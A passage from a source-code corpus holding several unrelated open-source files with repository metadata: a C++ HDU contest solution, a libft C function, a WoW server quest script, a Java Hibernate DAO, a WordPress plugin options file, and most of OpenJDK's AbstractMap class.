template<class T> inline bool out_int(T x) { #ifdef ONLINE_JUDGE if (!x) { out_char('0'); return true; } if (x < 0) x = -x, out_char('-'); int len = 0; while (x) { outtmp[len++] = x % 10 + 48; x /= 10; } outtmp[len] = 0; for (int i = 0, j = len - 1; i < j; ++i, --j) swap(outtmp[i], outtmp[j]); out_str(outtmp); #else cout << x; #endif return true; } inline iofstream &operator<<(const double &x) { out_double(x, idx); return *this; } inline iofstream &operator<<(const int &x) { out_int(x); return *this; } inline iofstream &operator<<(const unsigned long long &x) { out_int(x); return *this; } inline iofstream &operator<<(const unsigned &x) { out_int(x); return *this; } inline iofstream &operator<<(const long &x) { out_int(x); return *this; } inline iofstream &operator<<(const ll &x) { out_int(x); return *this; } inline iofstream &operator<<(const endln &x) { out_char('\n'); return *this; } inline iofstream &operator<<(const char *x) { out_str(x); return *this; } inline iofstream &operator<<(const string &x) { out_str(x.c_str()); return *this; } inline iofstream &operator<<(const char &x) { out_char(x); return *this; } inline bool setw(int x) { if (x >= 0) { idx = x; return true; } return false; } inline iofstream &operator>>(int &x) { if (!fin(x))eof = false; return *this; } inline iofstream &operator>>(ll &x) { if (!fin(x))eof = false; return *this; } inline iofstream &operator>>(double &x) { if (!fdb(x))eof = false; return *this; } inline iofstream &operator>>(float &x) { if (!fdb(x))eof = false; return *this; } inline iofstream &operator>>(unsigned &x) { if (!fin(x))eof = false; return *this; } inline iofstream &operator>>(unsigned long long &x) { if (!fin(x))eof = false; return *this; } inline explicit operator bool() { return eof; } inline char getchar() { #ifdef ONLINE_JUDGE if (ps == pe) { return eof = false; } rnext(); if (ps + 1 == pe) eof = false; return *ps; #else return std::getchar(); #endif } inline iofstream &operator>>(char *str) { #ifdef ONLINE_JUDGE if (ps == pe) { eof = false;//EOF return *this; } do { rnext(); } while (isspace(*ps) && iscntrl(*ps) && ps != pe); if (ps == pe) { eof = false;//EOF return *this; } do { *str = *ps; ++str; rnext(); } while (!(isspace(*ps) || iscntrl(*ps)) && ps != pe); *str = '\0'; return *this; #else cin >> str; return *this; #endif } inline iofstream &operator>>(string &str) { #ifdef ONLINE_JUDGE str.clear(); if (ps == pe) { eof = false;//EOF return *this; } do { rnext(); } while (isspace(*ps) && iscntrl(*ps) && ps != pe); if (ps == pe) { eof = false;//EOF return *this; } do { str += *ps; rnext(); } while (!(isspace(*ps) || iscntrl(*ps)) && ps != pe); return *this; #else cin >> str; return *this; #endif } }; static iofstream fin; static endln ln; } using namespace std; using IO::fin; const int maxn = 1e5 + 6; int k; struct Node { ll val; ll attr[5]; ll sum() { ll s = val; for (int i = 0; i < k; ++i)s += attr[i]; return s; } }; Node mi[maxn], wi[maxn]; int main() { int T; fin >> T; while (T--) { int n, m; fin >> n >> m >> k; ll mn1[6]; for (int i = 0; i < k; ++i)mn1[i] = 0; for (int i = 0; i < n; ++i) { fin >> mi[i].val; for (int j = 0; j < k; ++j)fin >> mi[i].attr[j], mn1[j] = min(mn1[j], mi[i].attr[j]); } for (int i = 0; i < n; ++i) { for (int j = 0; j < k; ++j)mi[i].attr[j] -= mn1[j]; } ll mn2[6]; for (int i = 0; i < k; ++i)mn2[i] = 0; for (int i = 0; i < m; ++i) { fin >> wi[i].val; for (int j = 0; j < k; ++j)fin >> wi[i].attr[j], mn2[j] = min(mn2[j], wi[i].attr[j]); } for (int i = 0; i < m; ++i) { for (int j = 0; j < k; ++j)wi[i].attr[j] -= mn2[j]; } sort(mi, mi + n, [&](Node a, Node b) -> bool { return a.sum() > b.sum(); }); sort(wi, wi + m, [&](Node a, Node b) -> bool { return a.sum() < b.sum(); }); ll ans = 0; int u1 = min(700, n), u2 = min(700, m); for (int i = 0; i < u1; ++i) { for (int j = 0; j < u2; ++j) { ll tmp = mi[i].val + wi[j].val; for (int t = 0; t < k; ++t) { tmp += abs(mi[i].attr[t] + mn1[t] - wi[j].attr[t] - mn2[t]); } ans = max(ans, tmp); } } fin << ans << '\n'; } }
ryanlee2014/UVa_and_other_algorithm_code
HDU/6435-26043384.cpp
C++
gpl-2.0
9,528
/* ************************************************************************** */ /* */ /* ::: :::::::: */ /* gs_stack_merge.c :+: :+: :+: */ /* +:+ +:+ +:+ */ /* By: dwillems <dwillems@student.42.fr> +#+ +:+ +#+ */ /* +#+#+#+#+#+ +#+ */ /* Created: 2015/12/19 14:13:02 by dwillems #+# #+# */ /* Updated: 2015/12/21 16:00:46 by dwillems ### ########.fr */ /* */ /* ************************************************************************** */ #include "libft.h" t_stack *gs_stack_merge(t_stack *list1, t_stack *list2) { t_stack *ret; ret = list2; if (list1) { if (list1->data) { ret = list1; while (list1->next) list1 = list1->next; list1->next = list2; } else free(list1); } return (ret); }
42dannywillems/42_get.next.line
libft/gs_stack_merge.c
C
gpl-2.0
1,173
/* * * Copyright (C) 2011-2013 ArkCORE <http://www.arkania.net/> * * Copyright (C) 2008-2013 TrinityCore <http://www.trinitycore.org/> * * Copyright (C) 2006-2009 ScriptDev2 <https://scriptdev2.svn.sourceforge.net/> * * This program is free software; you can redistribute it and/or modify it * under the terms of the GNU General Public License as published by the * Free Software Foundation; either version 2 of the License, or (at your * option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for * more details. * * You should have received a copy of the GNU General Public License along * with this program. If not, see <http://www.gnu.org/licenses/>. */ /* ScriptData SDName: Isle_of_Queldanas SD%Complete: 100 SDComment: Quest support: 11524, 11525, 11532, 11533, 11542, 11543, 11541 SDCategory: Isle Of Quel'Danas EndScriptData */ /* ContentData npc_converted_sentry npc_greengill_slave EndContentData */ #include "ScriptMgr.h" #include "ScriptedCreature.h" #include "Player.h" #include "Pet.h" #include "SpellInfo.h" /*###### ## npc_converted_sentry ######*/ enum ConvertedSentry { SAY_CONVERTED = 0, SPELL_CONVERT_CREDIT = 45009 }; class npc_converted_sentry : public CreatureScript { public: npc_converted_sentry() : CreatureScript("npc_converted_sentry") { } CreatureAI* GetAI(Creature* creature) const { return new npc_converted_sentryAI (creature); } struct npc_converted_sentryAI : public ScriptedAI { npc_converted_sentryAI(Creature* creature) : ScriptedAI(creature) {} bool Credit; uint32 Timer; void Reset() { Credit = false; Timer = 2500; } void MoveInLineOfSight(Unit* /*who*/) {} void EnterCombat(Unit* /*who*/) {} void UpdateAI(uint32 diff) { if (!Credit) { if (Timer <= diff) { Talk(SAY_CONVERTED); DoCast(me, SPELL_CONVERT_CREDIT); if (me->isPet()) me->ToPet()->SetDuration(7500); Credit = true; } else Timer -= diff; } } }; }; /*###### ## npc_greengill_slave ######*/ #define ENRAGE 45111 #define ORB 45109 #define QUESTG 11541 #define DM 25060 class npc_greengill_slave : public CreatureScript { public: npc_greengill_slave() : CreatureScript("npc_greengill_slave") { } CreatureAI* GetAI(Creature* creature) const { return new npc_greengill_slaveAI(creature); } struct npc_greengill_slaveAI : public ScriptedAI { npc_greengill_slaveAI(Creature* creature) : ScriptedAI(creature) {} uint64 PlayerGUID; void EnterCombat(Unit* /*who*/){} void Reset() { PlayerGUID = 0; } void SpellHit(Unit* caster, const SpellInfo* spell) { if (!caster) return; if (caster->GetTypeId() == TYPEID_PLAYER && spell->Id == ORB && !me->HasAura(ENRAGE)) { PlayerGUID = caster->GetGUID(); if (PlayerGUID) { Player* player = Unit::GetPlayer(*me, PlayerGUID); if (player && player->GetQuestStatus(QUESTG) == QUEST_STATUS_INCOMPLETE) DoCast(player, 45110, true); } DoCast(me, ENRAGE); Unit* Myrmidon = me->FindNearestCreature(DM, 70); if (Myrmidon) { me->AddThreat(Myrmidon, 100000.0f); AttackStart(Myrmidon); } } } void UpdateAI(uint32 /*diff*/) { DoMeleeAttackIfReady(); } }; }; void AddSC_isle_of_queldanas() { new npc_converted_sentry(); new npc_greengill_slave(); }
blitztech/master434
src/server/scripts/EasternKingdoms/zone_isle_of_queldanas.cpp
C++
gpl-2.0
4,146
/* * Copyright (c) 2016. Sten Martinez * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License along * with this program; if not, write to the Free Software Foundation, Inc., * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. */ package net.longfalcon.newsj.persistence.hibernate; import net.longfalcon.newsj.model.ConsoleInfo; import net.longfalcon.newsj.persistence.ConsoleInfoDAO; import org.hibernate.Criteria; import org.hibernate.criterion.Projections; import org.hibernate.criterion.Restrictions; import org.springframework.transaction.annotation.Isolation; import org.springframework.transaction.annotation.Propagation; import org.springframework.transaction.annotation.Transactional; import java.util.List; /** * User: Sten Martinez * Date: 3/10/16 * Time: 2:29 PM */ public class ConsoleInfoDAOImpl extends HibernateDAOImpl implements ConsoleInfoDAO { @Override @Transactional public void updateConsoleInfo(ConsoleInfo consoleInfo) { sessionFactory.getCurrentSession().saveOrUpdate(consoleInfo); } @Override @Transactional public void deleteConsoleInfo(ConsoleInfo consoleInfo) { sessionFactory.getCurrentSession().delete(consoleInfo); } @Override @Transactional(readOnly = true, propagation = Propagation.SUPPORTS) public List<ConsoleInfo> getConsoleInfos(int start, int pageSize) { Criteria criteria = sessionFactory.getCurrentSession().createCriteria(ConsoleInfo.class); criteria.setFirstResult(start).setMaxResults(pageSize); return criteria.list(); } @Override @Transactional(readOnly = true, propagation = Propagation.SUPPORTS) public Long countConsoleInfos() { Criteria criteria = sessionFactory.getCurrentSession().createCriteria(ConsoleInfo.class); criteria.setProjection(Projections.count("id")); return (Long) criteria.uniqueResult(); } @Override @Transactional(readOnly = true, propagation = Propagation.SUPPORTS) public ConsoleInfo findByConsoleInfoId(long id) { Criteria criteria = sessionFactory.getCurrentSession().createCriteria(ConsoleInfo.class); criteria.add(Restrictions.eq("id", id)); return (ConsoleInfo) criteria.uniqueResult(); } }
stewartcavanaugh/newsj
newsj-util/src/main/java/net/longfalcon/newsj/persistence/hibernate/ConsoleInfoDAOImpl.java
Java
gpl-2.0
2,785
<?php /** * Appearance options * * @package ManyTipsTogether * @subpackage B5F_MTT_Admin */ $options_panel->OpenTab( 'appearance' ); $options_panel->Title( __( 'Appearance', 'mtt' ) ); $options_panel->addCheckbox( 'appearance_hide_help_tab', array( 'name' => __('Hide Help tabs', 'mtt'), 'desc' => __('Located at top right of the screen.','mtt'), 'std' => false ) ); $options_panel->addCheckbox( 'appearance_hide_screen_options_tab', array( 'name' => __('Hide Screen Options tabs', 'mtt'), 'desc' => __('Located at top right of the screen.','mtt'), 'std' => false ) ); $Disable_help_texts[] = $options_panel->addRoles( 'level', array( 'type' => 'checkbox_list' ), array( 'name' => __( 'Hide the help texts from this roles.', 'mtt' ), 'desc' => '', 'class'=> 'no-toggle' ), true ); $options_panel->addCondition( 'appearance_help_texts_enable', array( 'name' => __( 'Expert Mode: Disable WordPress help texts', 'mtt' ), 'desc' => __( 'No explanations about custom fields, categories description, etc. CSS file copied from <a href="http://wordpress.org/extend/plugins/admin-expert-mode/" target="_blank">Admin Expert Mode</a>, by Scott Reilly. There this is set in a user basis, here in a role basis.', 'mtt' ), 'fields' => $Disable_help_texts, 'std' => false ) ); /*********************************** * HEADER & FOOTER ***********************************/ $options_panel->addParagraph( sprintf( '<hr /><h4>%s</h4>', __( 'HEADER AND FOOTER', 'mtt' ) ) ); $Admin_notice_header[] = $options_panel->addTextarea( 'text', array( 'name' => __( 'Message to display', 'mtt' ), 'desc' => '', 'std' => '' ), true ); $options_panel->addCondition( 'admin_notice_header_settings_enable', array( 'name' => __( 'Header: enable notice in the Settings sections', 'mtt' ), 'desc' => __( 'Useful for displaying a notice for clients, like: <em>"Change this settings at your own risk..."</em>', 'mtt' ), 'fields' => $Admin_notice_header, 'std' => false, 'validate_func' => 'validate_html_text' ) ); $Admin_notice_header_all[] = $options_panel->addTextarea( 'text', array( 'name' => __( 'Message to display', 'mtt' ), 'desc' => '', 'std' => '' ), true ); $Admin_notice_header_all[] = $options_panel->addRoles( 'level', array( 'type' => 'checkbox_list' ), array( 'name' => __( 'Select roles to display the notice, leave empty to show to all roles.', 'mtt' ), 'desc' => '', 'class'=> 'no-toggle' ), true ); $options_panel->addCondition( 'admin_notice_header_allpages_enable', array( 'name' => __( 'Header: Enable notice in all admin pages', 'mtt' ), 'desc' => __( 'Useful for displaying a message to all users of the site.', 'mtt' ), 'fields' => $Admin_notice_header_all, 'std' => false, 'validate_func' => 'validate_html_text' ) ); $options_panel->addCheckbox( 'admin_notice_footer_hide', array( 'name' => __( 'Footer: hide', 'mtt' ), 'desc' => '', 'std' => false ) ); $Admin_notice_footer[] = $options_panel->addTextarea( 'left', array( 'name' => __( 'Text to display on the left (html enabled)', 'mtt' ), 'desc' => '', 'std' => '' ), true ); $Admin_notice_footer[] = $options_panel->addTextarea( 'right', array( 'name' => __( 'Text to display on the right (html enabled)', 'mtt' ), 'desc' => '', 'std' => '' ), true ); $options_panel->addCondition( 'admin_notice_footer_message_enable', array( 'name' => __( 'Footer: show only your message', 'mtt' ), 'desc' => __( 'Remove all WordPress and other plugins messages, so your message is the only one there...', 'mtt' ), 'fields' => $Admin_notice_footer, 'std' => false, 'validate_func' => 'validate_html_text' ) ); /*********************************** * CSS ***********************************/ $options_panel->addParagraph( sprintf( '<hr /><h4>%s</h4>', __('EXTRA CSS', 'mtt') ) ); $options_panel->addCode( 'admin_global_css', array( 'name'=> __('CSS rules to be applied in all Admin pages.', 'mtt'), 'desc'=> '', 'std' => '.class-name {}', 'theme' => 'dark', 'syntax' => 'css' ) ); $options_panel->CloseTab();
universitytimes/site
wp-content/plugins/many-tips-together/inc/admin-tabs/appearance.php
PHP
gpl-2.0
4,604
/* * Copyright (c) 1997, 2013, Oracle and/or its affiliates. All rights reserved. * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER. * * This code is free software; you can redistribute it and/or modify it * under the terms of the GNU General Public License version 2 only, as * published by the Free Software Foundation. Oracle designates this * particular file as subject to the "Classpath" exception as provided * by Oracle in the LICENSE file that accompanied this code. * * This code is distributed in the hope that it will be useful, but WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License * version 2 for more details (a copy is included in the LICENSE file that * accompanied this code). * * You should have received a copy of the GNU General Public License version * 2 along with this work; if not, write to the Free Software Foundation, * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA. * * Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA * or visit www.oracle.com if you need additional information or have any * questions. */ package java.util; import java.util.Map.Entry; /** * This class provides a skeletal implementation of the {@code Map} * interface, to minimize the effort required to implement this interface. * * <p>To implement an unmodifiable map, the programmer needs only to extend this * class and provide an implementation for the {@code entrySet} method, which * returns a set-view of the map's mappings. Typically, the returned set * will, in turn, be implemented atop {@code AbstractSet}. This set should * not support the {@code add} or {@code remove} methods, and its iterator * should not support the {@code remove} method. * * <p>To implement a modifiable map, the programmer must additionally override * this class's {@code put} method (which otherwise throws an * {@code UnsupportedOperationException}), and the iterator returned by * {@code entrySet().iterator()} must additionally implement its * {@code remove} method. * * <p>The programmer should generally provide a void (no argument) and map * constructor, as per the recommendation in the {@code Map} interface * specification. * * <p>The documentation for each non-abstract method in this class describes its * implementation in detail. Each of these methods may be overridden if the * map being implemented admits a more efficient implementation. * * <p>This class is a member of the * <a href="{@docRoot}/../technotes/guides/collections/index.html"> * Java Collections Framework</a>. * * @param <K> the type of keys maintained by this map * @param <V> the type of mapped values * * @author Josh Bloch * @author Neal Gafter * @see Map * @see Collection * @since 1.2 */ public abstract class AbstractMap<K,V> implements Map<K,V> { /** * Sole constructor. (For invocation by subclass constructors, typically * implicit.) */ protected AbstractMap() { } // Query Operations /** * {@inheritDoc} * * @implSpec * This implementation returns {@code entrySet().size()}. */ public int size() { return entrySet().size(); } /** * {@inheritDoc} * * @implSpec * This implementation returns {@code size() == 0}. */ public boolean isEmpty() { return size() == 0; } /** * {@inheritDoc} * * @implSpec * This implementation iterates over {@code entrySet()} searching * for an entry with the specified value. If such an entry is found, * {@code true} is returned. If the iteration terminates without * finding such an entry, {@code false} is returned. Note that this * implementation requires linear time in the size of the map. * * @throws ClassCastException {@inheritDoc} * @throws NullPointerException {@inheritDoc} */ public boolean containsValue(Object value) { Iterator<Entry<K,V>> i = entrySet().iterator(); if (value==null) { while (i.hasNext()) { Entry<K,V> e = i.next(); if (e.getValue()==null) return true; } } else { while (i.hasNext()) { Entry<K,V> e = i.next(); if (value.equals(e.getValue())) return true; } } return false; } /** * {@inheritDoc} * * @implSpec * This implementation iterates over {@code entrySet()} searching * for an entry with the specified key. If such an entry is found, * {@code true} is returned. If the iteration terminates without * finding such an entry, {@code false} is returned. Note that this * implementation requires linear time in the size of the map; many * implementations will override this method. * * @throws ClassCastException {@inheritDoc} * @throws NullPointerException {@inheritDoc} */ public boolean containsKey(Object key) { Iterator<Map.Entry<K,V>> i = entrySet().iterator(); if (key==null) { while (i.hasNext()) { Entry<K,V> e = i.next(); if (e.getKey()==null) return true; } } else { while (i.hasNext()) { Entry<K,V> e = i.next(); if (key.equals(e.getKey())) return true; } } return false; } /** * {@inheritDoc} * * @implSpec * This implementation iterates over {@code entrySet()} searching * for an entry with the specified key. If such an entry is found, * the entry's value is returned. If the iteration terminates without * finding such an entry, {@code null} is returned. Note that this * implementation requires linear time in the size of the map; many * implementations will override this method. * * @throws ClassCastException {@inheritDoc} * @throws NullPointerException {@inheritDoc} */ public V get(Object key) { Iterator<Entry<K,V>> i = entrySet().iterator(); if (key==null) { while (i.hasNext()) { Entry<K,V> e = i.next(); if (e.getKey()==null) return e.getValue(); } } else { while (i.hasNext()) { Entry<K,V> e = i.next(); if (key.equals(e.getKey())) return e.getValue(); } } return null; } // Modification Operations /** * {@inheritDoc} * * @implSpec * This implementation always throws an * {@code UnsupportedOperationException}. * * @throws UnsupportedOperationException {@inheritDoc} * @throws ClassCastException {@inheritDoc} * @throws NullPointerException {@inheritDoc} * @throws IllegalArgumentException {@inheritDoc} */ public V put(K key, V value) { throw new UnsupportedOperationException(); } /** * {@inheritDoc} * * @implSpec * This implementation iterates over {@code entrySet()} searching for an * entry with the specified key. If such an entry is found, its value is * obtained with its {@code getValue} operation, the entry is removed * from the collection (and the backing map) with the iterator's * {@code remove} operation, and the saved value is returned. If the * iteration terminates without finding such an entry, {@code null} is * returned. Note that this implementation requires linear time in the * size of the map; many implementations will override this method. * * <p>Note that this implementation throws an * {@code UnsupportedOperationException} if the {@code entrySet} * iterator does not support the {@code remove} method and this map * contains a mapping for the specified key. * * @throws UnsupportedOperationException {@inheritDoc} * @throws ClassCastException {@inheritDoc} * @throws NullPointerException {@inheritDoc} */ public V remove(Object key) { Iterator<Entry<K,V>> i = entrySet().iterator(); Entry<K,V> correctEntry = null; if (key==null) { while (correctEntry==null && i.hasNext()) { Entry<K,V> e = i.next(); if (e.getKey()==null) correctEntry = e; } } else { while (correctEntry==null && i.hasNext()) { Entry<K,V> e = i.next(); if (key.equals(e.getKey())) correctEntry = e; } } V oldValue = null; if (correctEntry !=null) { oldValue = correctEntry.getValue(); i.remove(); } return oldValue; } // Bulk Operations /** * {@inheritDoc} * * @implSpec * This implementation iterates over the specified map's * {@code entrySet()} collection, and calls this map's {@code put} * operation once for each entry returned by the iteration. * * <p>Note that this implementation throws an * {@code UnsupportedOperationException} if this map does not support * the {@code put} operation and the specified map is nonempty. * * @throws UnsupportedOperationException {@inheritDoc} * @throws ClassCastException {@inheritDoc} * @throws NullPointerException {@inheritDoc} * @throws IllegalArgumentException {@inheritDoc} */ public void putAll(Map<? extends K, ? extends V> m) { for (Map.Entry<? extends K, ? extends V> e : m.entrySet()) put(e.getKey(), e.getValue()); } /** * {@inheritDoc} * * @implSpec * This implementation calls {@code entrySet().clear()}. * * <p>Note that this implementation throws an * {@code UnsupportedOperationException} if the {@code entrySet} * does not support the {@code clear} operation. * * @throws UnsupportedOperationException {@inheritDoc} */ public void clear() { entrySet().clear(); } // Views /** * Each of these fields are initialized to contain an instance of the * appropriate view the first time this view is requested. The views are * stateless, so there's no reason to create more than one of each. * * <p>Since there is no synchronization performed while accessing these fields, * it is expected that java.util.Map view classes using these fields have * no non-final fields (or any fields at all except for outer-this). Adhering * to this rule would make the races on these fields benign. * * <p>It is also imperative that implementations read the field only once, * as in: * * <pre> {@code * public Set<K> keySet() { * Set<K> ks = keySet; // single racy read * if (ks == null) { * ks = new KeySet(); * keySet = ks; * } * return ks; * } *}</pre> */ transient Set<K> keySet; transient Collection<V> values; /** * {@inheritDoc} * * @implSpec * This implementation returns a set that subclasses {@link AbstractSet}. * The subclass's iterator method returns a "wrapper object" over this * map's {@code entrySet()} iterator. The {@code size} method * delegates to this map's {@code size} method and the * {@code contains} method delegates to this map's * {@code containsKey} method. * * <p>The set is created the first time this method is called, * and returned in response to all subsequent calls. No synchronization * is performed, so there is a slight chance that multiple calls to this * method will not all return the same set. */ public Set<K> keySet() { Set<K> ks = keySet; if (ks == null) { ks = new AbstractSet<K>() { public Iterator<K> iterator() { return new Iterator<K>() { private Iterator<Entry<K,V>> i = entrySet().iterator(); public boolean hasNext() { return i.hasNext(); } public K next() { return i.next().getKey(); } public void remove() { i.remove(); } }; } public int size() { return AbstractMap.this.size(); } public boolean isEmpty() { return AbstractMap.this.isEmpty(); } public void clear() { AbstractMap.this.clear(); } public boolean contains(Object k) { return AbstractMap.this.containsKey(k); } }; keySet = ks; } return ks; } /** * {@inheritDoc} * * @implSpec * This implementation returns a collection that subclasses {@link * AbstractCollection}. The subclass's iterator method returns a * "wrapper object" over this map's {@code entrySet()} iterator. * The {@code size} method delegates to this map's {@code size} * method and the {@code contains} method delegates to this map's * {@code containsValue} method. * * <p>The collection is created the first time this method is called, and * returned in response to all subsequent calls. No synchronization is * performed, so there is a slight chance that multiple calls to this * method will not all return the same collection. */ public Collection<V> values() { Collection<V> vals = values; if (vals == null) { vals = new AbstractCollection<V>() { public Iterator<V> iterator() { return new Iterator<V>() { private Iterator<Entry<K,V>> i = entrySet().iterator(); public boolean hasNext() { return i.hasNext(); } public V next() { return i.next().getValue(); } public void remove() { i.remove(); } }; } public int size() { return AbstractMap.this.size(); } public boolean isEmpty() { return AbstractMap.this.isEmpty(); } public void clear() { AbstractMap.this.clear(); } public boolean contains(Object v) { return AbstractMap.this.containsValue(v); } }; values = vals; } return vals; } public abstract Set<Entry<K,V>> entrySet(); // Comparison and hashing /** * Compares the specified object with this map for equality. Returns * {@code true} if the given object is also a map and the two maps * represent the same mappings. More formally, two maps {@code m1} and * {@code m2} represent the same mappings if * {@code m1.entrySet().equals(m2.entrySet())}. This ensures that the * {@code equals} method works properly across different implementations * of the {@code Map} interface. * * @implSpec * This implementation first checks if the specified object is this map; * if so it returns {@code true}. Then, it checks if the specified * object is a map whose size is identical to the size of this map; if * not, it returns {@code false}. If so, it iterates over this map's * {@code entrySet} collection, and checks that the specified map * contains each mapping that this map contains. If the specified map * fails to contain such a mapping, {@code false} is returned. If the * iteration completes, {@code true} is returned. * * @param o object to be compared for equality with this map * @return {@code true} if the specified object is equal to this map */ public boolean equals(Object o) { if (o == this) return true; if (!(o instanceof Map)) return false; Map<?,?> m = (Map<?,?>) o; if (m.size() != size()) return false; try { for (Entry<K, V> e : entrySet()) { K key = e.getKey(); V value = e.getValue(); if (value == null) { if (!(m.get(key) == null && m.containsKey(key))) return false; } else { if (!value.equals(m.get(key))) return false; } } } catch (ClassCastException unused) { return false; } catch (NullPointerException unused) { return false; } return true; } /** * Returns the hash code value for this map. The hash code of a map is * defined to be the sum of the hash codes of each entry in the map's * {@code entrySet()} view. This ensures that {@code m1.equals(m2)} * implies that {@code m1.hashCode()==m2.hashCode()} for any two maps * {@code m1} and {@code m2}, as required by the general contract of * {@link Object#hashCode}. * * @implSpec * This implementation iterates over {@code entrySet()}, calling * {@link Map.Entry#hashCode hashCode()} on each element (entry) in the * set, and adding up the results. * * @return the hash code value for this map * @see Map.Entry#hashCode() * @see Object#equals(Object) * @see Set#equals(Object) */ public int hashCode() { int h = 0; for (Entry<K, V> entry : entrySet()) h += entry.hashCode(); return h; } /** * Returns a string representation of this map. The string representation * consists of a list of key-value mappings in the order returned by the * map's {@code entrySet} view's iterator, enclosed in braces * ({@code "{}"}). Adjacent mappings are separated by the characters * {@code ", "} (comma and space). Each key-value mapping is rendered as * the key followed by an equals sign ({@code "="}) followed by the * associated value. Keys and values are converted to strings as by * {@link String#valueOf(Object)}. * * @return a string representation of this map */ public String toString() { Iterator<Entry<K,V>> i = entrySet().iterator(); if (! i.hasNext()) return "{}"; StringBuilder sb = new StringBuilder(); sb.append('{'); for (;;) { Entry<K,V> e = i.next(); K key = e.getKey(); V value = e.getValue(); sb.append(key == this ? "(this Map)" : key); sb.append('='); sb.append(value == this ? "(this Map)" : value); if (! i.hasNext()) return sb.append('}').toString(); sb.append(',').append(' '); } } /** * Returns a shallow copy of this {@code AbstractMap} instance: the keys * and values themselves are not cloned. * * @return a shallow copy of this map */ protected Object clone() throws CloneNotSupportedException { AbstractMap<?,?> result = (AbstractMap<?,?>)super.clone(); result.keySet = null; result.values = null; return result; } /** * Utility method for SimpleEntry and SimpleImmutableEntry. * Test for equality, checking for nulls. * * NB: Do not replace with Object.equals until JDK-8015417 is resolved. */ private static boolean eq(Object o1, Object o2) { return o1 == null ? o2 == null : o1.equals(o2); } // Implementation Note: SimpleEntry and SimpleImmutableEntry // are distinct unrelated classes, even though they share // some code. Since you can't add or subtract final-ness // of a field in a subclass, they can't share representations, // and the amount of duplicated code is too small to warrant // exposing a common abstract class. /** * An Entry maintaining a key and a value. The value may be * changed using the {@code setValue} method. This class * facilitates the process of building custom map * implementations. For example, it may be convenient to return * arrays of {@code SimpleEntry} instances in method * {@code Map.entrySet().toArray}. * * @since 1.6 */ public static class SimpleEntry<K,V> implements Entry<K,V>, java.io.Serializable { private static final long serialVersionUID = -8499721149061103585L; private final K key; private V value; /** * Creates an entry representing a mapping from the specified * key to the specified value. * * @param key the key represented by this entry * @param value the value represented by this entry */ public SimpleEntry(K key, V value) { this.key = key; this.value = value; } /** * Creates an entry representing the same mapping as the * specified entry. * * @param entry the entry to copy */ public SimpleEntry(Entry<? extends K, ? extends V> entry) { this.key = entry.getKey(); this.value = entry.getValue(); } /** * Returns the key corresponding to this entry. * * @return the key corresponding to this entry */ public K getKey() { return key; } /** * Returns the value corresponding to this entry. * * @return the value corresponding to this entry */ public V getValue() { return value; } /** * Replaces the value corresponding to this entry with the specified * value. * * @param value new value to be stored in this entry * @return the old value corresponding to the entry */ public V setValue(V value) { V oldValue = this.value; this.value = value; return oldValue; } /** * Compares the specified object with this entry for equality. * Returns {@code true} if the given object is also a map entry and * the two entries represent the same mapping. More formally, two * entries {@code e1} and {@code e2} represent the same mapping * if<pre> * (e1.getKey()==null ? * e2.getKey()==null : * e1.getKey().equals(e2.getKey())) * &amp;&amp; * (e1.getValue()==null ? * e2.getValue()==null : * e1.getValue().equals(e2.getValue()))</pre> * This ensures that the {@code equals} method works properly across * different implementations of the {@code Map.Entry} interface. * * @param o object to be compared for equality with this map entry * @return {@code true} if the specified object is equal to this map * entry * @see #hashCode */ public boolean equals(Object o) { if (!(o instanceof Map.Entry)) return false; Map.Entry<?,?> e = (Map.Entry<?,?>)o; return eq(key, e.getKey()) && eq(value, e.getValue()); } /** * Returns the hash code value for this map entry. The hash code * of a map entry {@code e} is defined to be: <pre> * (e.getKey()==null ? 0 : e.getKey().hashCode()) ^ * (e.getValue()==null ? 0 : e.getValue().hashCode())</pre> * This ensures that {@code e1.equals(e2)} implies that * {@code e1.hashCode()==e2.hashCode()} for any two Entries * {@code e1} and {@code e2}, as required by the general * contract of {@link Object#hashCode}. * * @return the hash code value for this map entry * @see #equals */ public int hashCode() { return (key == null ? 0 : key.hashCode()) ^ (value == null ? 0 : value.hashCode()); } /** * Returns a String representation of this map entry. This * implementation returns the string representation of this * entry's key followed by the equals character ("{@code =}") * followed by the string representation of this entry's value. * * @return a String representation of this map entry */ public String toString() { return key + "=" + value; } } /** * An Entry maintaining an immutable key and value. This class * does not support method {@code setValue}. This class may be * convenient in methods that return thread-safe snapshots of * key-value mappings. * * @since 1.6 */ public static class SimpleImmutableEntry<K,V> implements Entry<K,V>, java.io.Serializable { private static final long serialVersionUID = 7138329143949025153L; private final K key; private final V value; /** * Creates an entry representing a mapping from the specified * key to the specified value. * * @param key the key represented by this entry * @param value the value represented by this entry */ public SimpleImmutableEntry(K key, V value) { this.key = key; this.value = value; } /** * Creates an entry representing the same mapping as the * specified entry. * * @param entry the entry to copy */ public SimpleImmutableEntry(Entry<? extends K, ? extends V> entry) { this.key = entry.getKey(); this.value = entry.getValue(); } /** * Returns the key corresponding to this entry. * * @return the key corresponding to this entry */ public K getKey() { return key; } /** * Returns the value corresponding to this entry. * * @return the value corresponding to this entry */ public V getValue() { return value; } /** * Replaces the value corresponding to this entry with the specified * value (optional operation). This implementation simply throws * {@code UnsupportedOperationException}, as this class implements * an <i>immutable</i> map entry. * * @param value new value to be stored in this entry * @return (Does not return) * @throws UnsupportedOperationException always */ public V setValue(V value) { throw new UnsupportedOperationException(); } /** * Compares the specified object with this entry for equality. * Returns {@code true} if the given object is also a map entry and * the two entries represent the same mapping. More formally, two * entries {@code e1} and {@code e2} represent the same mapping * if<pre> * (e1.getKey()==null ? * e2.getKey()==null : * e1.getKey().equals(e2.getKey())) * &amp;&amp; * (e1.getValue()==null ? * 